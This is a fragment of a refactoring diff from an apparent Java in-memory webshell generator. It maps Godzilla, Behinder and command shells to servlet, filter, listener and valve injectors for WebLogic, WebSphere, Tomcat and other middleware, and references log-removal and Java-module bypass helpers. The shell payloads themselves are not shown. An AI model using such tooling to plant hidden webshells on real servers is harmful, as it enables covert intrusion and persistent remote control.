protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
return Map.of(
Constants.SERVLET, Pair.of(GodzillaServlet.class, WebLogicServletInjector.class),
Constants.FILTER, Pair.of(GodzillaFilter.class, WebLogicFilterInjector.class),
Constants.LISTENER, Pair.of(GodzillaListener.class, WebLogicListenerInjector.class)
SERVLET, Pair.of(GodzillaServlet.class, WebLogicServletInjector.class),
FILTER, Pair.of(GodzillaFilter.class, WebLogicFilterInjector.class),
LISTENER, Pair.of(GodzillaListener.class, WebLogicListenerInjector.class)
);
}
}
@@ -1,7 +1,5 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
@@ -16,9 +14,10 @@ import com.reajason.javaweb.memshell.websphere.injector.WebSphereListenerInjecto
import com.reajason.javaweb.memshell.websphere.injector.WebSphereServletInjector;
import org.apache.commons.lang3.tuple.Pair;
import java.util.List;
import java.util.Map;
import static com.reajason.javaweb.memshell.config.Constants.*;
/**
* @author ReaJason
* @since 2024/12/21
@@ -27,27 +26,27 @@ public class WebSphereShell extends AbstractShell {
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
return Map.of(
Constants.SERVLET, Pair.of(CommandServlet.class, WebSphereServletInjector.class),
Constants.FILTER, Pair.of(CommandFilter.class, WebSphereFilterInjector.class),
Constants.LISTENER, Pair.of(CommandListener.class, WebSphereListenerInjector.class)
SERVLET, Pair.of(CommandServlet.class, WebSphereServletInjector.class),
FILTER, Pair.of(CommandFilter.class, WebSphereFilterInjector.class),
LISTENER, Pair.of(CommandListener.class, WebSphereListenerInjector.class)
);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
return Map.of(
Constants.SERVLET, Pair.of(GodzillaServlet.class, WebSphereServletInjector.class),
Constants.FILTER, Pair.of(GodzillaFilter.class, WebSphereFilterInjector.class),
Constants.LISTENER, Pair.of(GodzillaListener.class, WebSphereListenerInjector.class)
SERVLET, Pair.of(GodzillaServlet.class, WebSphereServletInjector.class),
FILTER, Pair.of(GodzillaFilter.class, WebSphereFilterInjector.class),
LISTENER, Pair.of(GodzillaListener.class, WebSphereListenerInjector.class)
);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
return Map.of(
Constants.SERVLET, Pair.of(BehinderServlet.class, WebSphereServletInjector.class),
Constants.FILTER, Pair.of(BehinderFilter.class, WebSphereFilterInjector.class),
Constants.LISTENER, Pair.of(BehinderListener.class, WebSphereListenerInjector.class)
SERVLET, Pair.of(BehinderServlet.class, WebSphereServletInjector.class),
FILTER, Pair.of(BehinderFilter.class, WebSphereFilterInjector.class),
LISTENER, Pair.of(BehinderListener.class, WebSphereListenerInjector.class)
);
}
}
@@ -15,4 +15,7 @@ public class Constants {
public static final String JAKARTA_FILTER = "JakartaFilter";
public static final String LISTENER = "Listener";
public static final String JAKARTA_LISTENER = "JakartaListener";
public static final String VALVE = "Valve";
public static final String JAKARTA_VALVE = "JakartaValve";
}
@@ -59,11 +59,7 @@ public enum Server {
* GlassFish 中间件
*/
GlassFish(new GlassFishShell()),
/**
* Payara 中间件 <a href="https://repo1.maven.org/maven2/fish/payara/distributions/payara">PayaraDownload</a>
*/
Payara(new PayaraShell()),
Payara(new GlassFishShell()),
/**
* 宝兰德中间件
@@ -1,4 +1,4 @@
package com.reajason.javaweb.memshell;
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
@@ -1,4 +1,4 @@
package com.reajason.javaweb.memshell;
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
@@ -1,4 +1,4 @@
package com.reajason.javaweb.memshell;
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
@@ -1,4 +1,4 @@
package com.reajason.javaweb.memshell;
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.buddy.ByPassJavaModuleInterceptor;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
@@ -43,12 +43,11 @@ public class InjectorGenerator {
.method(named("getBase64String")).intercept(FixedValue.value(base64String))
.method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName()));
if (config.needByPassJavaModule()) {
builder = ByPassJavaModuleInterceptor.extend(builder);
}
if(config.isJakarta()){
if (config.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
}
@@ -2,7 +2,7 @@ package com.reajason.javaweb.memshell.tomcat.command;
import com.reajason.javaweb.memshell.config.CommandConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.CommandGenerator;
import com.reajason.javaweb.memshell.generator.CommandGenerator;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
import com.reajason.javaweb.util.ClassUtils;
@@ -2,7 +2,7 @@ package com.reajason.javaweb.memshell.tomcat.godzilla;
import com.reajason.javaweb.memshell.config.GodzillaConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.GodzillaGenerator;
import com.reajason.javaweb.memshell.generator.GodzillaGenerator;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
import com.reajason.javaweb.util.ClassUtils;